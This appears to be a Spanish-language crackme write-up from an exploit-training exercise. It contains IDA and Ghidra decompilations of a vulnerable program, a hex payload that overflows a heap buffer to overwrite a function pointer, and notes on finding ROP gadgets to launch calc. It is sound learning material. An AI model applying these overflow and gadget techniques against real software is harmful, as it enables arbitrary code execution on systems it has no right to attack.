Los retos los hice usando vim con la siguiente configuracion:

" vim -b : edit binary using xxd-format!
augroup Binary
  au!
  au BufReadPre  *.bin let &bin=1
  au BufReadPost *.bin if &bin | %!xxd
  au BufReadPost *.bin set ft=xxd | endif
  au BufWritePre *.bin if &bin | %!xxd -r
  au BufWritePre *.bin endif
  au BufWritePost *.bin if &bin | %!xxd
  au BufWritePost *.bin set nomod | endif
augroup END

autocmd BufWritePost *.bin term ++close ++hidden cp % %:r.txt

La segunda vez me generó un código muchísimo más entendible

Porque renombre el tipo de variable que tomaba check en vez de int lo puse como char **

int __cdecl check(int a1, char **a2)
{
  int i; // [esp+8h] [ebp-328h]
  char *v4[201]; // [esp+Ch] [ebp-324h] BYREF

  memset(v4, 0, 800u);
  for ( i = 0; i < a1; ++i )
  {
    v4[i] = malloc(228u);
    v4[i][54] = check;
    v4[i][55] = system;
    // strcpy copia hasta encontrar un caracter nulo (00 en hexa), acá no se produce overflow porque copias de un buffer de 200 a uno de 800
    strcpy(v4[i], a2[i]);
    // No queremos que pise el puntero a system con printf.
    v4[i][55] = printf;
    // Acá necesitamos copiar calc a v4[i]+200 (acá se produce el buffer overflow)
    strcpy(v4[i] + 200, a2[i]);
    // Acá necesitamos llamar a system(calc)
    v4[i][55](v4[i] + 200);
  }
  return printf("\nA repasarrrr ... \n");
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v4; // [esp+4h] [ebp-3F8h]
  int v5; // [esp+8h] [ebp-3F4h]
  int i; // [esp+Ch] [ebp-3F0h]
  const char *v7[200]; // [esp+10h] [ebp-3ECh] BYREF
  char String[200]; // [esp+330h] [ebp-CCh] BYREF

  v4 = fopen("C:\\lista.txt", "rb");
  memset(String, 0, sizeof(String));
  if ( !v4 )
  {
    printf("No se puede leer la lista de alumnos bye bye \n");
    exit(1);
  }
  fread(String, 200u, 1u, v4);
  v7[0] = strtok(String, " ");
  if ( !v7[0] )
    exit(1);
  printf("nombre = %s\n", v7[0]);
  v5 = 1; for ( i = 1; i < 200; ++i )
  {
    // Esto sirve para pasar a la siguiente palabra separada por un espacio.
    v7[i] = strtok(0, " ");
    if ( !v7[i] )
      break;
    printf("nombre = %s\n", v7[i]);
    ++v5;
  }
  printf("cantidad de alumnos %d\n", v5);
  check(v5, v7);
  return 0;
}

Pero en la función check el decompilador no detectó el mensaje que decía “Aprobaste nivel 11”, este mensaje si fue detectado por el decompilador de ghidra (aunque se puede ver en el gráfico del assembler en ida si accedés a la función check)

Este fue el código generado por ghidra


void __cdecl check(int param_1,int param_2)

{
  char *pcVar1;
  int iVar2;
  int local_32c;
  char *local_328 [200];
  uint local_8;
  
  local_8 = DAT_10104004 ^ (uint)&stack0xfffffffc;
  iVar2 = 1;

  memset(local_328,0,800);
  for (local_32c = 0; local_32c < param_1; local_32c = local_32c + 1) {
    pcVar1 = (char *)operator_new(0xe4);
    local_328[local_32c] = pcVar1;
    *(code **)(local_328[local_32c] + 0xd8) = FUN_10101010;
    *(code **)(local_328[local_32c] + 0xdc) = system_exref;
    strcpy(local_328[local_32c],*(char **)(param_2 + local_32c * 4));
    *(code **)(local_328[local_32c] + 0xdc) = FUN_10101390;
    strcpy(local_328[local_32c] + 200,*(char **)(param_2 + local_32c * 4));
    (**(code **)(local_328[local_32c] + 0xdc))(local_328[local_32c] + 200);
  }
  if (iVar2 == 0) {
    printf("\nAprobaste Nivel 11\n",(char)iVar2);
  }
  else {
    printf("\nA repasarrrr ... \n",(char)iVar2);
  }
  @__security_check_cookie@4(local_8 ^ (uint)&stack0xfffffffc);
  return;
}


int main(void)

{
  FILE *_File;
  char *pcVar1;
  int iVar2;
  undefined in_stack_fffffc00;
  code *pcVar3;
  int local_3f8;
  int local_3f4;
  char *local_3f0 [200];
  char local_d0 [200];
  uint local_8;
  
  local_8 = DAT_10104004 ^ (uint)&stack0xfffffffc;
  _File = fopen("C:\\lista.txt","rb");
  memset(local_d0,0,200);
  if (_File == (FILE *)0x0) {
    printf("No se puede leer la lista de alumnos bye bye \n",in_stack_fffffc00);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  fread(local_d0,200,1,_File);
  local_3f0[0] = strtok(local_d0," ");
  if (local_3f0[0] == (char *)0x0) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  printf("nombre = %s\n",(char)local_3f0[0]);
  local_3f8 = 1;
  for (local_3f4 = 1; local_3f4 < 200; local_3f4 = local_3f4 + 1) {
    pcVar1 = strtok((char *)0x0," ");
    local_3f0[local_3f4] = pcVar1;
    if (local_3f0[local_3f4] == (char *)0x0) break;
    printf("nombre = %s\n",(char)local_3f0[local_3f4]);
    local_3f8 = local_3f8 + 1;
  }
  pcVar3 = check;
  printf("cantidad de alumnos %d\n",(char)local_3f8);
  (*pcVar3)(local_3f8,local_3f0);
  iVar2 = @__security_check_cookie@4(local_8 ^ (uint)&stack0xfffffffc);
  return iVar2;
}

Exploit (sin ejecutar la calculadora)

00000000: 6361 6c63 2063 616c 6320 4141 4141 4141  calc calc AAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 5e11  AAAAAAAAAAAAAA^.
00000020: 1010 0000 0000 0000 0000 0000 0000 0000  ................

Saltamos a la dirección 1010115e que es en donde está el mensaje “Aprobaste nivel 11”

Para ejecutar la calculadora tenés que usar un “gadget” y buscar un call ecx Search > gadgets > search > control +f > call ecx , hay un call ecx en 10102148

El exploit de ricardo narvaja contiene XXXXXXXX al comienzo estos X’s representan POP EAX

https://stackoverflow.com/questions/14349735/why-register-eax-esp-and-instructions-sub-push-and-pop-assemble-into-ascii-cha

O podés usar rp++ o ropper en linux para buscar los gadgets.